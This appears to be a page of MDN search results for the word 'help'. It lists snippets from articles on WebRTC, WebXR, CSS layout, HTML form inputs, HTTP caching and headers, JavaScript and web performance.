media received before the ice negotiation is completed may be used to help ice decide upon the best connectivity approach to take, thus aiding in the negotiation process.
...this can help you know when the connection has failed, or been lost.

WebRTC API - Web APIs
the documentation you'll find here will help you understand the fundamentals of webrtc, how to set up and use both data and media connections, and more.
...included is a guide to help you choose the best codecs for your needs.

Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
there are a number of terms that are helpful to understand, primarily around camera movement, as these terms are used to describe designed viewpoint changes with the virtual camera.
...this guide uses webgl directly since it's useful to understand to some extent what goes on under the hood, and to aide in the development of libraries or to help you optimize code.

Fundamentals of WebXR - Web APIs
webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web.
...the following articles can help.

Movement, orientation, and motion: A WebXR example - Web APIs
this will help to solidify your understanding of how the geometry of 3d graphics and vr work, as well as to help ensure you understand the way the functions and data that are used during xr rendering work together.
... while reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3d headset is a single screen, divided in half.

WebXR Device API - Web APIs
foundations and basics fundamentals of webxr before diving into the details of how to create content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
... performance and security webxr performance guide recommendations and tips to help you optimize the performance of your webxr application.

Using IIR filters - Web APIs
if you want to play with the iir filter node and need some values to help along the way, there's a table of already calculated values here; on pages 4 & 5 of the linked pdf the an values refer to the feedforward values and the bn values refer to the feedback.
...this should have shown you how to use the basics, and helped you to understand what it's useful for and how it works.

WindowOrWorkerGlobalScope.setTimeout() - Web APIs
it may be helpful to be aware that settimeout() and setinterval() share the same pool of ids, and that cleartimeout() and clearinterval() can technically be used interchangeably.
...example: var intervalid = settimeout(function() { myfunc('one', 'two', 'three'); }, 1000); the above example can also be written with the help of an arrow function: var intervalid = settimeout(() => { myfunc('one', 'two', 'three'); }, 1000); yet another possibility is to use function's bind.

Accessibility: What users can do to browse more safely - Accessibility
taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
...grayscale is enabled when the color filters button is toggled "on" see also accessibilty accessibility learning path web accessibility for seizures and physical reactions color blindness discussion: "what is the “grayscale” setting for in accessibility options?" contributors many, many thanks to eric eggert from knowbility; for his discussions and huge help on this topic.

Operable - Accessibility
guideline 2.4 — navigable: provide ways to help users navigate, find content, and determine where they are the conformance criteria under this guideline relate to ways in which users can be expected to orientate themselves, and find the content and functionality they are looking for on the current page or other pages of the site.
... note: also see the wcag description for guideline 2.4 navigable: provide ways to help users navigate, find content, and determine where they are.

Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
if you are trying to ensure backwards compatibility with old versions of browsers, and in particular ie10 and 11, the flexbugs site is a helpful resource.
...this guide will help you in those cases where you do come across an issue or have the requirement to support older browsers.

Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
the following live example can help to demonstrate this.
...this can help change the default behaviour if, for example, you want an item to shrink more or less rapidly than its siblings or not shrink at all.

Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...typically, it helps to distribute extra free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size.

Basic Concepts of grid layout - CSS: Cascading Style Sheets
grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that were previously impossible to build in css.
...grid also introduces an additional length unit to help us create flexible grid tracks.

CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
on paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with this idea?
...also the video of léonie’s presentation from ffconf is helpful to understand more about how screen readers work with the visual representation of things in css.

Layout using named grid lines - CSS: Cascading Style Sheets
by selecting names that will make sense to you and your team you will help everyone to use the layouts you create more easily.
... .main-header, .main-footer { grid-column: col-start / span 12; } .side1 { grid-column: col-start / span 3; grid-row: 2; } .content { grid-column: col-start 4 / span 6; grid-row: 2; } .side2 { grid-column: col-start 10 / span 3; grid-row: 2; } once again, the grid highlighter is helpful to show us how the grid we have placed our items on works.

Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
this can be helpful in creating a more app-like experience on mobile or even on the desktop for some types of applications.
... it could be helpful in ensuring users see each section of the scroller and don't accidentally zip past them.

Shapes From Images - CSS: Cascading Style Sheets
devtools can help you to identify cors errors.
...many demos do this as it helps to show the shape we are following, however the shape-outside property is not related to the image that is displayed on the page and so you do not need to display an image to use an image to create a shape.

Breadcrumb Navigation - CSS: Cascading Style Sheets
breadcrumb navigation helps the user to understand their location in the website by providing a breadcrumb trail back to the start page.
... accessibility concerns i have used the aria-label and aria-current attributes to help users understand what this navigation is and where the current page is in the structure.

Using Media Queries for Accessibility - CSS: Cascading Style Sheets
media queries can also be used to help users with disabilities understand your website better.
... this will help not only users with low vision and contrast sensitivity issues but also users that are working on a computer or phone with direct sunlight.

cursor - CSS: Cascading Style Sheets
help help information is available.
..., ]* [ auto | default | none | context-menu | help | pointer | progress | wait | cell | crosshair | text | vertical-text | alias | copy | move | no-drop | not-allowed | e-resize | n-resize | ne-resize | nw-resize | s-resize | se-resize | sw-resize | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crossha...

image() - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 this feature can help improve accessibility by providing a fallback color when an image fails to load.
... providing fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated content before the content of the element with the class of help.

transition-timing-function - CSS: Cascading Style Sheets
step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) accessibility concerns some animations can be helpful such as to guide users to understand what actions are expected, to show relationships within the user interface, and to inform users as to what actions have occurred.
... animations can help reduce cognitive load, prevent change blindness, and establish better recall in spatial relationships.

Rich-Text Editing in Mozilla - Developer guides
devedge provides a javascript helper class, xbdesignmode, which is a wrapper for the designmode feature which hides the differences between ie and mozilla.
... resources mozilla.org's rich-text editing specification mozilla.org's rich-text editing demo converting an app using document.designmode from ie to mozilla at mozilla.org designmode msdn: how to create an html editor application a closed source, cross-browser rich-text editing demo xbdesignmode; a javascript helper class for easier cross-browser development using designmode.

Constraint validation - Developer guides
controlling the text of constraint violation the following items can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>.
...together, they help explain why an element's value fails to validate, if it's not valid.

Introduction to Web development - Developer guides
whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
... javascript beginning getting started with javascript — what is javascript and how can it help you?

Mobile Web Development - Developer guides
optimizing images to help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolution.
... using tools like css lint can help find problems like this in code, and preprocessors like sass and less can help you to produce cross-browser code.

<a>: The Anchor element - HTML: Hypertext Markup Language
this helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen.
...spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content.

<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
providing a useful fallback text or sub dom helps to make the the canvas more accessible.
...the following guides can help to make it more accessible.

<input type="month"> - HTML: Hypertext Markup Language
the ui implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still submit the form with the month input empty, or enter an invalid date (e.g.
... to help avoid this, you can use min and max to restrict the available dates (see setting maximum and minimum dates), and in addition use the required attribute to make filling in the date mandatory.

<input type="radio"> - HTML: Hypertext Markup Language
in this scenario, if the user clicked on the "phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful.
...ntact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </fieldset> </form> there's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way.

<input type="search"> - HTML: Hypertext Markup Language
as a general rule, you should avoid using them unless it can't be helped.
...this helps users who tend to do searches on the same or similar search queries over time.

<input type="tel"> - HTML: Hypertext Markup Language
as a general rule, you should avoid using them unless it can't be helped.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.

<input type="text"> - HTML: Hypertext Markup Language
as a general rule, you should avoid using them unless it can't be helped.
... a note on styling there are useful pseudo-classes available for styling form elements to help the user see when their values are valid or invalid.

<tr>: The Table Row element - HTML: Hypertext Markup Language
table { border: 1px solid black; } th, td { border: 1px solid black; } explicitly specifying table content groups before really getting into styling this table, let's take a moment to add row and column groups to help make our css easier.
... color every body other row differently it's common to help improve readability of table data by alternating row colors.

HTML documentation index - HTML: Hypertext Markup Language
by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means.
... 26 lang global attributes, html, reference the lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user.

Evolution of HTTP - HTTP
with the help of the new http headers, the ability to transmit other documents than plain html files has been added (thanks to the content-type header).
... the introduction of security-related prefixes in the cookie header, now helps guarantee a secure cookie has not been altered.

Browser detection using the user agent - HTTP
also, rethink your design: can you use progressive enhancement or fluid layouts to help remove the need to do this?
...this will help to not exclude lesser known browsers.

Content Security Policy (CSP) - HTTP
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...a properly designed content security policy helps protect a page against a cross site scripting attack.

HTTP caching - HTTP
if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... in addition, it can help google and other search engines to discover the mobile version of a page, and might also tell them that no cloaking is intended.

Configuring servers for Ogg media - HTTP
in particular, the article on media container formats will be especially helpful when configuring serers to host media properly.
...the farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals.

ETag - HTTP
additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
... examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.

Index - HTTP
this helps guard against cross-site scripting attacks (xss).
...on the other side, if the content has changed, etags are useful to help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").

Vary - HTTP
for example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... it can help google and other search engines to discover the mobile version of a page, and might also tell them that no cloaking is intended.

A typical HTTP session - HTTP
(contains a site-customized page helping the user to find the missing resource) notification that the requested resource doesn't exist: http/1.1 404 not found content-type: text/html; charset=utf-8 content-length: 38217 connection: keep-alive cache-control: no-cache, no-store, must-revalidate, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:35:13 gmt expires: thu, 06 dec 2018 17:35:13 gmt server: meinheld/0.6.1 strict-...
...(contains a site-customized page helping the user to find the missing resource) response status codes http response status codes indicate if a specific http request has been successfully completed.

JavaScript data types and data structures - JavaScript
the following table helps determine the equivalent c data types: type value range size in bytes description web idl type equivalent c type int8array -128 to 127 1 8-bit two's complement signed integer byte int8_t uint8array 0 to 255 1 8-bit unsigned integer octet uint8_t uint8clampedarray 0 to 255 1 8-bit unsigned integer (clam...
... determining types using the typeof operator the typeof operator can help you to find the type of your variable.

Meta programming - JavaScript
with the help of these two objects you are able to program at the meta level of javascript.
... reflect helps with forwarding default operations from the handler to the target.

JavaScript modules - JavaScript
there is also a type of export called the default export — this is designed to make it easy to have a default function provided by a module, and also helps javascript modules to interoperate with existing commonjs and amd module systems (as explained nicely in es6 in depth: modules by jason orendorff; search for "default exports").
... troubleshooting here are a few tips that may help you if you are having trouble getting your modules to work.

Using Promises - JavaScript
these make it possible to offer fallback error handling for promises, as well as to help debug issues with your promise management.
... if you think microtasks may help solve this problem, see the microtask guide to learn more about how to use queuemicrotask() to enqueue a function as a microtask.

SyntaxError: missing } after function body - JavaScript
indenting or formatting the code a bit nicer might also help you to see through the jungle.
... (function() { if (true) { return false; } ); oftentimes, indenting differently or double checking indentation helps to spot these errors.

JavaScript error reference - JavaScript
these errors can be a helpful debugging aid, but the reported problem isn't always immediately clear.
... errors displayed in the web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.

Optional chaining (?.) - JavaScript
it can also be helpful while exploring the content of an object when there's no known guarantee as to which properties are required.
...this can be helpful, for example, when using an api in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's device.

Authoring MathML - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages.
...it's recommended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet.

MathML documentation index - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages.
... 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content.

Digital audio concepts - Web media technologies
sound to store into it) a need to constrain the network bandwidth required to broadcast the audio; this is especially important for live streams and teleconferencing psychoacoustics 101 diving into the details of psychoacoustics and how audio compression works is far beyond the scope of this article, but it is useful to have a general idea of how audio gets compressed by common algorithms can help understand and make better decisions about audio codec selection.
...the audio bandwidth can't be reduced nearly as much as for a speech-only codec, but it is still a helpful start.

Web video codec guide - Web media technologies
this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
...the documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.

Animation performance and frame rate - Web Performance
while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur.
...animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly.

Navigation and resource timings - Web Performance
to help measure the time it takes to complete all the steps, the performance timing api provides read only measurements of navigation timings.
...keeping this at 50ms or faster helps ensure a responsive user interface.

Using dns-prefetch - Web Performance
while dns caching can help to reduce this latency, dns resolution can add significant latency to requests.
... dns-prefetch helps developers mask dns resolution latency.